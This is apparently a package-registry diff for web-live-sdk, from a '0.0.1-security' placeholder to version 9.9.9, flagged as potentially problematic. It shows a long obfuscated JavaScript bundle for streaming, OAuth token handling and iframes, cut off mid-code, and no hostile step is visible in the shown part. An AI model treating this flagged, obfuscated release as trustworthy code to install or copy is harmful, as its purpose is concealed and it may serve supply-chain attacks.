web-live-sdk 0.0.1-security → 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of web-live-sdk might be problematic. Click here for more details.
- package/dist/web-live-sdk.js +1 -0
- package/index.js +1 -0
- package/package.json +8 -3
- package/README.md +0 -5
@@ -0,0 +1 @@
|
|
1
|
+
function _0x151b() { const _0x5f5281 = ['distance', 'combineBroadcastsWithMetadata', 'setBackgroundColor', 'getLivePreviewBroadcasts', 'getUnassignedLivePreviewBroadcast', 'LIVE_PREVIEW_INITIALIZED', '2534805uHogKn', 'timestamp', 'socialNetworkManager', 'searchParams', 'message', 'assign', 'function', 'CLICKED_MARQUEE', 'CURTAIN_CLICKED', 'position:\x20absolute;\x20z-index:\x201;', 'empty-hostapp-config', 'isTokenDataValid', 'promise', 'objectId', 'LIVE_PREVIEW_EMPTY_QUEUE', 'validateHostAppToken', 'SEND_CHAT_MESSAGE', 'livePreviewUserBroadcastData', 'getSNSBroadcastData', 'data', 'invalidViewSource', 'NEARBY_MARQUEE', 'Unable\x20to\x20fetch\x20broadcast\x20data\x20for\x20broadcastId=', '/oauth/token', 'SNIPPET_ROUTES', 'onPostMessage', 'responseText', 'queue', 'iframesData', 'handleWindowUnload', 'onclick', 'stream', 'empty-request-url', 'LIVE_PREVIEW_NEXT_BROADCAST', 'BOOTSTRAP', 'readyState', 'constructor', 'pageSize', 'ensureAccessTokenLoaded', 'webLiveURL', 'liftCurtain', 'emptyHostappConfig', 'reinitSessionHandler', '\x20web/', 'random', 'changeRoute', 'getLivePreviewBroadcastsForUsers', '/functions/sns-video:getBroadcast', 'Timeout\x20occurred\x20for\x20request\x20of\x20type\x20', 'sendChatMessage', 'livePreviewPreload', 'SET_ROUTE_MAPPING', 'setReinitSessionHandler', 'getBroadcast', 'emptyRequestURL', 'hostAppVersion', 'viewSize', 'callback', 'INCOMING_MESSAGE_TYPES', '467188MELhWa', '#/definitions/googleFonts', 'bootstrap', 'open', 'refresh-forbidden', 'recommendedStreamsMarquee', 'unsubscribe', 'append', 'dataTransformHelper', 'validate', 'invalidAuthenticationURL', 'parseSocialNetworkResponse', 'urn:ietf:params:oauth:token-type:session', 'sns-video', 'onBootstrapped', 'sdk', 'wrongSnippetName', 'buildOptions', 'Z_INDEX', 'attachEventHandler', 'handleBootstrapMessage', 'livePreviewManager', 'curtainClicked', 'LIVE_PREVIEW_BROADCAST_LOADING', 'lat', 'createIframe', '?access_token=', 'style', '/live-preview/', 'userAgent', 'isActive', 'createLivePreview', 'isNaN', 'shouldFetchUserBroadcasts', 'filter', 'BOOTSTRAPPED', 'SET_TEXT_OVERRIDES', '^https:\x5c/\x5c/[a-z0-9]+([\x5c-\x5c.]{1}[a-z0-9]+)*(\x5c.[a-z]{2,5})?(:[0-9]{1,5})?(\x5c/.*)?$', '^[a-z]+(\x5c-[a-z]+)*$', 'bootstrapped', '119400uHJjyX', 'setRouteUpdateHandler', 'refreshToken', 'LIVE_PREVIEW_CLICKED', 'currentRoute', 'scoreLimit', 'getElementById', 'some', 'more', 'refreshForbidden', 'getTheme', 'resolve', 'callbacks', 'top:\x200', 'getBroadcastsByUserParseId', 'getWebPurchaseCatalog', 'renewTokenAutomaticallyOnExpiration', 'onreadystatechange', 'limit', 'MAXIMIZE_VIEWING_AREA', 'undefined', 'network', 'setSpecialOfferCallback', '/profile/users/', 'push', 'handleRefreshSessionMessage', '/recommended-streams-marquee-snippet', 'getJWT', 'sendRequest', 'result', 'authUrl', 'getViewBroadcastRoute', 'registerProfile', 'status', 'iframe', 'multiple-iframes-not-supported', 'getLivePreviewForUsersBroadcasts', 'shift', 'requestToken', 'invalid-authentication-url', 'createSnippet', 'CUSTOM_FONT_LOAD', 'position:\x20absolute', 'stringifyMobileBreakPoints', 'args', 'livePreviewNextBroadcast', 'setBalanceUpdateHandler', 'validateViewSource', 'setScopeRequiredHandler', 'networkUserIds', '/relations', 'authToken', 'validateCallback', 'default', 'invalid-theme', 'setSpecialOfferPurchaseURLHandler', 'invalid-view-source', 'livePreviewStopped', 'requestId', 'latestIframeData', 'pathname', 'tokenData', 'forEach', 'sendToAll', 'curtains', '96520BqugjX', 'tryToRenewTokenAutomaticallyOnExpiration', 'sendReceiptMessage', 'PATCH', 'origin', 'isInitialized', '/snippet', '__esModule', '#/definitions/color', 'invalid-hostapp-version', 'iframe-container-not-found', 'createElement', '30aetspu', 'useRefreshToken', '7196ZaQnQv', 'toString', '#/definitions/property', 'ERROR', 'getRecommendedStreamsMarqueeRoute', 'iframe-not-found', 'bind', 'isArray', 'POST', 'addEventListener', 'initLivePreviewEventHandlers', 'wrong-url-resource', 'nonEmptyStringRequired', 'CURTAIN', 'LIVE_PREVIEW_CB_EVENTS', 'invalid-hostapp-locale', 'setNewSessionHandler', '/functions/sns-video:getLivePreviewBroadcasts', 'position:\x20fixed', '/nearby-marquee-snippet', 'ROUTER', 'broadcast', 'setRouteMapping', '/web-payments/purchase/web/catalog', 'SCOPE_REQUIRED', 'validateNonEmptyString', 'setUserRelation', 'wrong-snippet-name', 'dropCurtain', 'empty-request-body', 'prototype', 'mobileBreakPoints', 'customFontLoad', 'viewBroadcast', 'map', 'removeOnReceipt', 'host', 'LIVE_PREVIEW_PLAYING', 'GET', 'withCredentials', 'browserOnly', 'missingCallback', 'type', '\x20not\x20found!', 'unsubscribeAll', 'amd', 'getTimeUntilExpiration', 'getNetwork', 'styleManager', 'config', 'getNearbyMarqueeRoute', 'invalid-authentication-token', '/economy/me/balance/', 'scope', 'networkName', 'src', '559216Nsuqrh', 'z-index:\x20', 'gatewayUrl', 'live-preview', '/config', 'tokenRetries', 'keys', 'PUT', 'hasOwnProperty', 'ON_MARQUEE_ITEMS', 'handleInitialization', 'catch', 'chat', 'balance', 'viewStyle', 'reduce', 'setMaximizeViewingAreaHandler', '/video-api/', 'error', 'automaticTokenRenewalTimeout', 'getConfig', 'invalid-authentication-user-agent', 'score', 'TMGWebSDK', 'customFontLoaded', 'distanceInKm', 'workingOnPromise', 'getOrigin', 'array', 'messageSender', 'curtain', '/video-metadata/broadcast/', 'viewersCount', 'getLivePreviewRoute', 'livePreviewPlaying', 'frameId', '#/definitions/icons', 'sessionRefreshed', 'max', 'requestTokenPromise', 'waitForInitialization', 'iframeNotFound', '1892712iNpVcE', 'invalidAuthenticationConfiguration', 'lng', 'dequeue', 'getUserVIPStatus', 'Unable\x20to\x20parse\x20mobileBreakPoints', 'livePreviewInstantiationQueue', 'validateFontConfig', 'reject', 'theme', ',\x20accept\x20', 'bgColor', 'messageId', 'DONE', 'invalidHostappLocale', 'configure', 'log', 'loadCustomFont', 'setTheme', 'invalid-color', 'find', 'No\x20eligible\x20Live\x20Preview\x20broadasts\x20found', 'Unable\x20to\x20obtain\x20Live\x20Preview\x20broadasts', 'invalid-authentication-configuration', 'removeEventListener', 'XHR_RESPONSE_CODES', 'checkSpecialOfferPromise', 'broadcastId', 'location', 'expiresIn', 'getInAppCurrencyBalance', 'initializations', 'socialNetworksFetchPromise', 'setMaxZindex', 'web', 'invalidRequestHeaders', 'enqueue', 'invalidAuthenticationUserAgent', 'requestManager', 'browse', ':user:', 'div', 'RECOMMENDED_STREAMS_MARQUEE', 'features', 'validateLocaleString', 'getIframeData', 'appendChild', 'join', 'preloadLivePreviewStream', 'err', 'defineProperty', 'invalid-locale-text-data', 'route', 'camera;\x20microphone;\x20geolocation;\x20autoplay;\x20clipboard-write', 'toStringTag', 'configurationManager', 'subscribe', 'initializedPromises', 'createWebLiveIframe', 'pillType', 'validateRequestOptions', 'slice', 'oauthError', 'moreBroadcastsExists', 'setNewAuthToken', 'Error\x20occurred!', 'OUTGOING_MESSAGE_TYPES', 'THROWABLE_ERRORS', 'test', 'setTextOverrides', 'invalid-authentication-credentials', 'parentNode', 'Handler\x20for\x20a\x20message\x20of\x20type\x20', 'gender', 'insertWebLiveIframe', 'invalidHostappName', 'getBalance', 'metadata', 'validateAuthenticationConfig', 'currentScore', 'DOMHelper', 'invalid-hostapp-name', 'drop', '/live-preview', 'validateLocaleTextData', 'validateRequestUserAgent', 'send', 'removeChild', 'setRequestHeader', 'Bearer\x20', 'setSendChatMessageHandler', 'then', 'getSnippetRoute', 'browser-only', 'SNIPPET_MARQUEE_SETTINGS', 'LIVE_PREVIEW_STOPPED', 'postManager', 'object', 'exports', 'hostAppName', 'missing-callback', '354oUIqhN', 'BALANCE_UPDATE', 'livePreviewBroadcastLoading', 'includes', 'url', 'invalidLocale', 'length', 'string', 'getSocialNetworksData', 'specialOfferCallback', 'scopeRequired', 'application/json;\x20charset=UTF-8', 'all', 'authenticationManager', 'livePreviewClicked', 'SESSION_REFRESHED', 'emptyRequestBody', 'eventManager', 'minZindex', 'livePreviewBroadcasts', 'replace', 'finally', 'postMessage', 'XHR_REQUEST_TYPES', 'pendingPromise', 'broadcasts', 'width:\x20100vw', 'stringify', 'setAttribute', 'background:\x20', 'returnValue', 'maxZindex', 'values', 'router', 'action', 'nearbyMarquee', 'invalid-locale', 'could-not-get-oauth-data', 'wrongURLResource', 'getClientSideConfig', 'application/x-www-form-urlencoded', 'snippet', 'originalWebLiveURLObject', 'beforeunload', 'checkForSpecialOffer', 'accessToken', 'now']; _0x151b = function () { return _0x5f5281; }; return _0x151b(); } function _0x31ec(_0x305ba6, _0x173554) { const _0x151bc1 = _0x151b(); return _0x31ec = function (_0x31ec3f, _0x38ac91) { _0x31ec3f = _0x31ec3f - 0x1a8; let _0x4c1491 = _0x151bc1[_0x31ec3f]; return _0x4c1491; }, _0x31ec(_0x305ba6, _0x173554); } (function (_0x1eb5a3, _0x15121c) { const _0x3d7857 = _0x31ec, _0x4e3f69 = _0x1eb5a3(); while (!![]) { try { const _0x3a7b00 = -parseInt(_0x3d7857(0x27c)) / 0x1 + -parseInt(_0x3d7857(0x213)) / 0x2 + parseInt(_0x3d7857(0x351)) / 0x3 * (-parseInt(_0x3d7857(0x28a)) / 0x4) + parseInt(_0x3d7857(0x23b)) / 0x5 * (parseInt(_0x3d7857(0x288)) / 0x6) + parseInt(_0x3d7857(0x2c2)) / 0x7 + parseInt(_0x3d7857(0x2ec)) / 0x8 + parseInt(_0x3d7857(0x1d8)) / 0x9; if (_0x3a7b00 === _0x15121c) break; else _0x4e3f69['push'](_0x4e3f69['shift']()); } catch (_0x569939) { _0x4e3f69['push'](_0x4e3f69['shift']()); } } }(_0x151b, 0x2ac16), !function (_0x4b3352, _0x356137) { const _0x659c7a = _0x31ec; _0x659c7a(0x34d) == typeof exports && _0x659c7a(0x34d) == typeof module ? module[_0x659c7a(0x34e)] = _0x356137() : _0x659c7a(0x1de) == typeof define && define[_0x659c7a(0x2b7)] ? define([], _0x356137) : 'object' == typeof exports ? exports[_0x659c7a(0x2d9)] = _0x356137() : _0x4b3352[_0x659c7a(0x2d9)] = _0x356137(); }(self, () => ((() => { 'use strict'; const _0x21a7ec = _0x31ec; var _0x492d44 = { 0x46: (_0x25995f, _0x33580b, _0x4ab431) => { const _0x118605 = _0x31ec; _0x4ab431['r'](_0x33580b), _0x4ab431['d'](_0x33580b, { 'AUTH_RETRIES_NUM': () => _0x4730b9, 'INCOMING_MESSAGE_TYPES': () => _0x342eb4, 'LIVE_PREVIEW_CB_EVENTS': () => _0x2c11a7, 'NEARBY_MARQUEE': () => _0x49610b, 'OUTGOING_MESSAGE_TYPES': () => _0x2b0509, 'RECOMMENDED_STREAMS_MARQUEE': () => _0x552ae8, 'SNIPPET_MARQUEE_SETTINGS': () => _0x177411, 'SNIPPET_ROUTES': () => _0x440596, 'THEME_SCHEMA': () => _0x2b63e6, 'THROWABLE_ERRORS': () => _0x180d82, 'VIEW_SOURCE': () => _0x19f985, 'XHR_REQUEST_TYPES': () => _0x3d5376, 'XHR_RESPONSE_CODES': () => _0xb8cd11, 'Z_INDEX': () => _0x1473b1 }); const _0x1473b1 = { 'MAX': 0x1000037, 'MIN': 0x1 }, _0x2b0509 = { 'BOOTSTRAP': _0x118605(0x215), 'ROUTER': _0x118605(0x1c4), 'LOCATION': 'location', 'SESSION_REFRESHED': _0x118605(0x2e7), 'ERROR': _0x118605(0x2d4), 'SET_BACKGROUND_COLOR': _0x118605(0x1d4), 'SET_THEME': _0x118605(0x2fe), 'CURTAIN_CLICKED': _0x118605(0x229), 'LIVE_PREVIEW_PRELOAD': _0x118605(0x20a), 'CUSTOM_FONT_LOAD': _0x118605(0x2aa), 'SET_TEXT_OVERRIDES': _0x118605(0x331), 'SET_ROUTE_MAPPING': _0x118605(0x2a0) }, _0x342eb4 = { 'BOOTSTRAP': 'bootstrap', 'BOOTSTRAPPED': _0x118605(0x23a), 'ROUTER': _0x118605(0x1c4), 'REFRESH_SESSION': 'refreshSession', 'SEND_CHAT_MESSAGE': _0x118605(0x209), 'CURTAIN': _0x118605(0x2e0), 'BALANCE_UPDATE': 'balanceUpdate', 'MAXIMIZE_VIEWING_AREA': 'maximizeViewingArea', 'SCOPE_REQUIRED': _0x118605(0x1ad), 'CLICKED_MARQUEE': 'clickedMarquee', 'ON_MARQUEE_ITEMS': 'onMarqueeItems', 'LIVE_PREVIEW_CLICKED': _0x118605(0x1b1), 'LIVE_PREVIEW_NEXT_BROADCAST': _0x118605(0x268), 'LIVE_PREVIEW_PLAYING': 'livePreviewPlaying', 'LIVE_PREVIEW_STOPPED': _0x118605(0x274), 'LIVE_PREVIEW_INITIALIZED': 'livePreviewInitialized', 'CUSTOM_FONT_LOADED': _0x118605(0x2da) }, _0x2c11a7 = { 'LIVE_PREVIEW_CLICKED': 'livePreviewClicked', 'LIVE_PREVIEW_BROADCAST_LOADING': _0x118605(0x353), 'LIVE_PREVIEW_EMPTY_QUEUE': 'livePreviewEmptyQueue', 'LIVE_PREVIEW_PLAYING': _0x118605(0x2e4), 'LIVE_PREVIEW_STOPPED': _0x118605(0x274) }, _0xb8cd11 = { 'SUCCESS': 0xc8 }, _0x3d5376 = { 'GET': _0x118605(0x2b0), 'POST': _0x118605(0x292), 'PATCH': 'PATCH', 'PUT': _0x118605(0x2c9) }, _0x2b63e6 = { 'title': 'web-live\x20theme\x20configuration\x20schema', 'type': _0x118605(0x34d), 'propertyNames': { 'pattern': _0x118605(0x239) }, 'patternProperties': { '(^|-)color$': { '$ref': _0x118605(0x284) }, '^icons-': { '$ref': _0x118605(0x2e6) } }, 'properties': { 'font': { 'type': _0x118605(0x34d), 'properties': { 'google': { '$ref': '#/definitions/googleFonts' } }, 'propertyNames': { 'pattern': _0x118605(0x239) }, 'additionalProperties': { '$ref': '#/definitions/property' } }, 'font-google': { '$ref': _0x118605(0x214) }, 'icons': { '$ref': '#/definitions/icons' } }, 'additionalProperties': { '$ref': _0x118605(0x28c) }, 'definitions': { 'googleFonts': { 'type': _0x118605(0x2de), 'minItems': 0x1, 'items': { 'type': _0x118605(0x1aa) } }, 'color': { 'type': _0x118605(0x1aa), 'regexp': { 'pattern': '^(#(?:[\x5cda-f]{3,4}|[\x5cda-f]{6}(?:[\x5cda-f]{2})?)|rgb\x5c([\x5cd]{1,3}(?:[\x5cs]*,[\x5cs]*[\x5cd]{1,3}){2}\x5c)|rgba\x5c([\x5cd]{1,3}(?:[\x5cs]*,[\x5cs]*[\x5cd]{1,3}){2}(?:[\x5cs]*,[\x5cs]*0(?:\x5c.[\x5cd]{1,2})?|[\x5cs]*,[\x5cs]*1(?:\x5c.0)?)?\x5c))$', 'flags': 'i' } }, 'icons': { 'anyOf': [{ 'type': _0x118605(0x1aa), 'regexp': { 'pattern': '^url(.*?)', 'flags': 'i' } }, { 'type': _0x118605(0x34d), 'minProperties': 0x1 }], 'patternProperties': { '^[a-z]+(\x5c-[a-z]+)*$': { '$ref': _0x118605(0x2e6) } }, 'additionalProperties': !0x1 }, 'property': { 'anyOf': [{ 'type': _0x118605(0x1aa) }, { 'type': 'object', 'minProperties': 0x1 }], 'patternProperties': { '(^|-)color$': { '$ref': _0x118605(0x284) }, '^[a-z]+(\x5c-[a-z]+)*$': { '$ref': '#/definitions/property' } }, 'additionalProperties': !0x1 } } }, _0x4730b9 = 0x3, _0x180d82 = { 'missingCallback': _0x118605(0x350), 'oauthError': _0x118605(0x1c8), 'invalidColor': _0x118605(0x2ff), 'invalidTheme': _0x118605(0x271), 'refreshForbidden': _0x118605(0x217), 'iframeNotFound': _0x118605(0x28f), 'iframeContainerNotFound': _0x118605(0x286), 'emptyRequestURL': _0x118605(0x1f8), 'invalidRequestHeaders': 'invalid-request-headers', 'emptyRequestBody': _0x118605(0x2a7), 'invalidAuthenticationUserAgent': _0x118605(0x2d7), 'emptyHostappConfig': _0x118605(0x1e2), 'invalidHostappLocale': _0x118605(0x299), 'invalidHostappName': _0x118605(0x33d), 'invalidHostappVersion': _0x118605(0x285), 'invalidAuthenticationToken': _0x118605(0x2bd), 'invalidAuthenticationConfiguration': _0x118605(0x303), 'invalidAuthenticationCredentials': _0x118605(0x332), 'invalidAuthenticationURL': _0x118605(0x262), 'browserOnly': _0x118605(0x349), 'wrongSnippetName': _0x118605(0x2a5), 'wrongSettingsType': 'settings-should-be-object', 'missingRequiredSnippetSetting': 'missing-required-snippet-setting', 'wrongURLResource': _0x118605(0x295), 'multipleIframesNotSupported': _0x118605(0x25e), 'invalidViewSource': _0x118605(0x273), 'invalidFontConfig': 'invalid-font-config', 'invalidLocale': _0x118605(0x1c7), 'invalidLocaleTextData': _0x118605(0x31f), 'nonEmptyStringRequired': 'non-empty-string-required' }, _0x49610b = _0x118605(0x1c6), _0x552ae8 = _0x118605(0x218), _0x440596 = { [_0x49610b]: _0x118605(0x29d), [_0x552ae8]: _0x118605(0x255) }, _0x177411 = { 'lat': _0x118605(0x22b), 'lng': _0x118605(0x2ee), 'viewSize': 'viewSize', 'viewStyle': 'viewStyle', 'gender': _0x118605(0x335), 'pageSize': 'pageSize', 'scoreLimit': _0x118605(0x240), 'mobileBreakPoints': _0x118605(0x2a9), 'pillType': _0x118605(0x327) }, _0x19f985 = { 'BROWSE': _0x118605(0x313), 'CHAT': _0x118605(0x2ce) }; } }, _0x459501 = {}; function _0x4b1d53(_0x2ec906) { const _0x4c6b33 = _0x31ec; var _0x5f15d6 = _0x459501[_0x2ec906]; if (void 0x0 !== _0x5f15d6) return _0x5f15d6[_0x4c6b33(0x34e)]; var _0x509cc0 = _0x459501[_0x2ec906] = { 'exports': {} }; return _0x492d44[_0x2ec906](_0x509cc0, _0x509cc0[_0x4c6b33(0x34e)], _0x4b1d53), _0x509cc0[_0x4c6b33(0x34e)]; } _0x4b1d53['d'] = (_0x227387, _0x2e7d58) => { const _0x13522b = _0x31ec; for (var _0x2a767f in _0x2e7d58) _0x4b1d53['o'](_0x2e7d58, _0x2a767f) && !_0x4b1d53['o'](_0x227387, _0x2a767f) && Object[_0x13522b(0x31e)](_0x227387, _0x2a767f, { 'enumerable': !0x0, 'get': _0x2e7d58[_0x2a767f] }); }, _0x4b1d53['o'] = (_0x19fb3e, _0x338384) => Object[_0x21a7ec(0x2a8)][_0x21a7ec(0x2ca)]['call'](_0x19fb3e, _0x338384), _0x4b1d53['r'] = _0x4a36a2 => { const _0x568d6d = _0x21a7ec; _0x568d6d(0x24f) != typeof Symbol && Symbol[_0x568d6d(0x322)] && Object[_0x568d6d(0x31e)](_0x4a36a2, Symbol[_0x568d6d(0x322)], { 'value': 'Module' }), Object['defineProperty'](_0x4a36a2, _0x568d6d(0x283), { 'value': !0x0 }); }; var _0x342796 = {}; return ((() => { const _0x239636 = _0x21a7ec; _0x4b1d53['d'](_0x342796, { 'default': () => _0x2286b3 }); var _0x18c391 = _0x4b1d53(0x46); const _0xe25d1b = /^[a-z]{2,4}(-[A-Z][a-z]{3})?(-([A-Z]{2}|[0-9]{3}))?$/, _0x396de1 = class { static [_0x239636(0x328)]({ method: _0x5416b6, url: _0x5cc6e3, headers: _0x3a4dc2, body: _0x221c29 }) { const _0x371aaf = _0x239636; if (!_0x5cc6e3) throw new Error(_0x18c391[_0x371aaf(0x32f)][_0x371aaf(0x20e)]); if (_0x3a4dc2 && _0x3a4dc2[_0x371aaf(0x1fc)] !== Object) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x371aaf(0x30f)]); if (_0x5416b6 === _0x18c391[_0x371aaf(0x1ba)][_0x371aaf(0x292)] && !_0x221c29) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x371aaf(0x1b3)]); } static [_0x239636(0x341)](_0x122ad6) { const _0x3ce517 = _0x239636, _0x1561e5 = new RegExp('[\x5cw]+\x5c/[\x5cd.]+\x5csweb\x5c/[\x5cd.]+$'); if (!_0x122ad6 || _0x3ce517(0x1aa) != typeof _0x122ad6 || !_0x1561e5['test'](_0x122ad6)) throw new Error(_0x18c391[_0x3ce517(0x32f)][_0x3ce517(0x311)]); } static ['validateHostAppConfig'](_0x18d49c) { const _0x2ceb6c = _0x239636; if (0x0 === Object[_0x2ceb6c(0x2c8)](_0x18d49c)[_0x2ceb6c(0x1a9)]) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x2ceb6c(0x201)]); const { locale: _0x589d54, hostAppName: _0x4f6c19, hostAppVersion: _0x4b77f0 } = _0x18d49c; if (!_0x589d54 || _0x2ceb6c(0x1aa) != typeof _0x589d54) throw new Error(_0x18c391[_0x2ceb6c(0x32f)][_0x2ceb6c(0x2fa)]); if (!_0x4f6c19 || _0x2ceb6c(0x1aa) != typeof _0x4f6c19) throw new Error(_0x18c391[_0x2ceb6c(0x32f)][_0x2ceb6c(0x337)]); const _0xa284ac = new RegExp('^\x5cd+(\x5c.\x5cd+){0,2}$'); if ('number' != typeof _0x18d49c['hostAppVersion'] && !_0xa284ac['test'](_0x4b77f0)) throw new Error(_0x18c391[_0x2ceb6c(0x32f)]['invalidHostappVersion']); } static [_0x239636(0x1e7)](_0x15ad2b) { const _0x29c7ee = _0x239636; if (!_0x15ad2b || _0x29c7ee(0x1aa) != typeof _0x15ad2b) throw new Error(_0x18c391[_0x29c7ee(0x32f)]['invalidAuthenticationToken']); } static [_0x239636(0x33a)](_0x12f5fd) { const _0x1589e7 = _0x239636; if (!_0x12f5fd || 'object' != typeof _0x12f5fd || 0x0 === Object[_0x1589e7(0x2c8)](_0x12f5fd)[_0x1589e7(0x1a9)]) throw new Error(_0x18c391[_0x1589e7(0x32f)][_0x1589e7(0x2ed)]); const { credentials: _0x94a5c2, authUrl: _0x362f6b } = _0x12f5fd; if (!_0x94a5c2 || _0x1589e7(0x1aa) != typeof _0x94a5c2) throw new Error(_0x18c391[_0x1589e7(0x32f)]['invalidAuthenticationCredentials']); const _0x26b675 = new RegExp(_0x1589e7(0x238)); if (!_0x362f6b || 'string' != typeof _0x362f6b || !_0x26b675[_0x1589e7(0x330)](_0x362f6b)) throw new Error(_0x18c391[_0x1589e7(0x32f)][_0x1589e7(0x21d)]); } static [_0x239636(0x26f)](_0x1b9b83) { const _0x44080e = _0x239636; if (!_0x1b9b83 || 'function' != typeof _0x1b9b83) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x44080e(0x2b3)]); } static [_0x239636(0x26a)](_0x582dc5) { const _0xe35407 = _0x239636; if (!Object[_0xe35407(0x1c3)](_0x18c391['VIEW_SOURCE'])[_0xe35407(0x354)](_0x582dc5)) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0xe35407(0x1ec)]); } static [_0x239636(0x2f3)](_0x273525) { const _0x23cf98 = _0x239636; if (!_0x273525 || !Array[_0x23cf98(0x291)](_0x273525[_0x23cf98(0x2c1)]) || 0x0 === _0x273525[_0x23cf98(0x2c1)][_0x23cf98(0x1a9)]) throw new Error(_0x18c391[_0x23cf98(0x32f)]['invalidFontConfig']); _0x273525[_0x23cf98(0x2c1)]['forEach'](_0x151f13 => { const _0x15119e = _0x23cf98; if (!_0x151f13[_0x15119e(0x355)]) throw new Error(_0x18c391['THROWABLE_ERRORS']['invalidFontConfig']); }); } static [_0x239636(0x318)](_0x11d182) { const _0x3e0d1e = _0x239636; if (!_0x11d182 || !_0xe25d1b[_0x3e0d1e(0x330)](_0x11d182)) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x3e0d1e(0x1a8)]); } static [_0x239636(0x340)](_0x2dfcb2) { const _0x37953b = _0x239636; if (!_0x2dfcb2 || _0x37953b(0x34d) != typeof _0x2dfcb2 || Array[_0x37953b(0x291)](_0x2dfcb2) || 0x0 === Object[_0x37953b(0x2c8)](_0x2dfcb2)[_0x37953b(0x1a9)]) throw new Error(_0x18c391['THROWABLE_ERRORS']['invalidLocaleTextData']); } static [_0x239636(0x2a3)](_0x5385c7) { const _0x3f9d03 = _0x239636; if (!_0x5385c7 || _0x3f9d03(0x1aa) != typeof _0x5385c7) throw new Error(_0x18c391['THROWABLE_ERRORS'][_0x3f9d03(0x296)]); } }, _0x1a5eab = 0x2710, _0x427de7 = { 'config': {}, 'configurationManager': null, 'specialOfferCallback': null, 'tokenRetries': 0x0, 'requestTokenPromise': null, 'renewTokenAutomaticallyOnExpiration': !0x1, 'automaticTokenRenewalTimeout': null, 'checkSpecialOfferPromise': null, 'configure': _0x323504 => { const _0x34d629 = _0x239636; _0x396de1[_0x34d629(0x33a)](_0x323504); const { credentials: _0x3f61ad, authUrl: _0x206a21, authToken: _0x327990, hostAppName: _0x16dd1e, webLiveURL: _0x3055db, requestManager: _0x55da2a, gatewayUrl: _0x6f6a47 } = _0x323504; _0x427de7[_0x34d629(0x2bb)] = { 'credentials': _0x3f61ad, 'authUrl': _0x206a21, 'authToken': _0x327990, 'hostAppName': _0x16dd1e, 'webLiveURL': _0x3055db, 'requestManager': _0x55da2a, 'gatewayUrl': _0x6f6a47 }; }, 'deconfigure': () => { const _0x248bc8 = _0x239636; _0x427de7['config'] = {}, _0x427de7[_0x248bc8(0x202)] = void 0x0, _0x427de7[_0x248bc8(0x278)] = void 0x0, _0x427de7[_0x248bc8(0x323)] = void 0x0, _0x427de7[_0x248bc8(0x2c7)] = 0x0, _0x427de7[_0x248bc8(0x289)] = void 0x0, _0x427de7[_0x248bc8(0x24b)] = !0x1, clearTimeout(_0x427de7['automaticTokenRenewalTimeout']), _0x427de7[_0x248bc8(0x2d5)] = null, _0x427de7[_0x248bc8(0x1ac)] = null, _0x427de7[_0x248bc8(0x306)] = null; }, 'isTokenDataValid': _0x16b8ca => !!_0x16b8ca && !!_0x16b8ca[_0x239636(0x1d0)] && Date[_0x239636(0x1d1)]() < _0x16b8ca[_0x239636(0x1d9)] + _0x16b8ca['expiresIn'] - _0x1a5eab, 'ensureAccessTokenLoaded'(_0xaa96e) { const _0x4c7e9c = _0x239636, { tokenData: _0x15e7f7 } = _0x427de7; if (_0x427de7[_0x4c7e9c(0x1e3)](_0x15e7f7)) return void _0xaa96e(_0x15e7f7); const { authToken: _0x276600 } = _0x427de7[_0x4c7e9c(0x2bb)]; _0x427de7[_0x4c7e9c(0x261)](_0x276600)[_0x4c7e9c(0x347)](_0x21f390 => _0xaa96e(_0x21f390))[_0x4c7e9c(0x2cd)](_0x3a1a44 => _0xaa96e(null, _0x3a1a44)); }, 'setReinitSessionHandler': _0x1220f8 => { const _0x393a63 = _0x239636; _0x427de7[_0x393a63(0x202)] = _0x1220f8; }, 'requestToken': (_0x184658, _0x1126a4 = !0x1, _0xd3103e = !0x1) => { const _0x263bc4 = _0x239636; try { _0x396de1[_0x263bc4(0x1e7)](_0x184658), _0x396de1[_0x263bc4(0x33a)](_0x427de7[_0x263bc4(0x2bb)]); } catch (_0x4a135a) { return Promise[_0x263bc4(0x2f4)](_0x4a135a); } if (_0x427de7[_0x263bc4(0x2e9)] && !_0xd3103e) return _0x427de7['requestTokenPromise']; const _0x4ce5c7 = _0x427de7[_0x263bc4(0x224)](_0x184658, _0x1126a4), _0x38cf2a = new Promise((_0x188810, _0x279d42) => { const _0x8db90f = _0x263bc4; _0x427de7[_0x8db90f(0x2bb)][_0x8db90f(0x312)][_0x8db90f(0x257)](_0x4ce5c7, (_0x3d11ce, _0x67d5a6) => { const _0x241734 = _0x8db90f; if (_0x67d5a6) return void (_0x427de7[_0x241734(0x2c7)] >= _0x18c391['AUTH_RETRIES_NUM'] ? (_0x427de7[_0x241734(0x2c7)] = 0x0, _0x279d42(_0x67d5a6)) : (_0x427de7[_0x241734(0x2c7)] += 0x1, _0x188810(_0x427de7[_0x241734(0x261)](_0x184658, _0x1126a4, !0x0)))); const { access_token: _0x308d04, refresh_token: _0x1824cb, expires_in: _0x19c372, scope: _0x2e7d44 } = _0x3d11ce; _0x427de7[_0x241734(0x278)] = { 'accessToken': _0x308d04, 'refreshToken': _0x1824cb, 'expiresIn': 0x3e8 * _0x19c372, 'timestamp': Date[_0x241734(0x1d1)]() }, _0x427de7[_0x241734(0x2bf)] = _0x2e7d44, _0x427de7[_0x241734(0x1cf)](), _0x427de7[_0x241734(0x27d)](!0x0), _0x188810(_0x427de7['tokenData']); }); }); return _0x427de7[_0x263bc4(0x2e9)] || _0xd3103e || (_0x427de7[_0x263bc4(0x2e9)] = _0x38cf2a), _0x38cf2a[_0x263bc4(0x1b8)](() => { const _0xb9e92b = _0x263bc4; _0x427de7[_0xb9e92b(0x2e9)] = null; }); }, 'getTimeUntilExpiration': ({ timestamp: _0x466c75 = 0x0, expiresIn: _0x4247a2 = 0x0 } = {}) => _0x466c75 + _0x4247a2 - Date[_0x239636(0x1d1)](), 'tryToRenewTokenAutomaticallyOnExpiration'(_0x3a83ec = !0x1) { const _0x5dde79 = _0x239636; if (!_0x427de7[_0x5dde79(0x24b)]) return !0x1; if (_0x3a83ec && _0x427de7[_0x5dde79(0x2d5)] && (clearTimeout(_0x427de7[_0x5dde79(0x2d5)]), 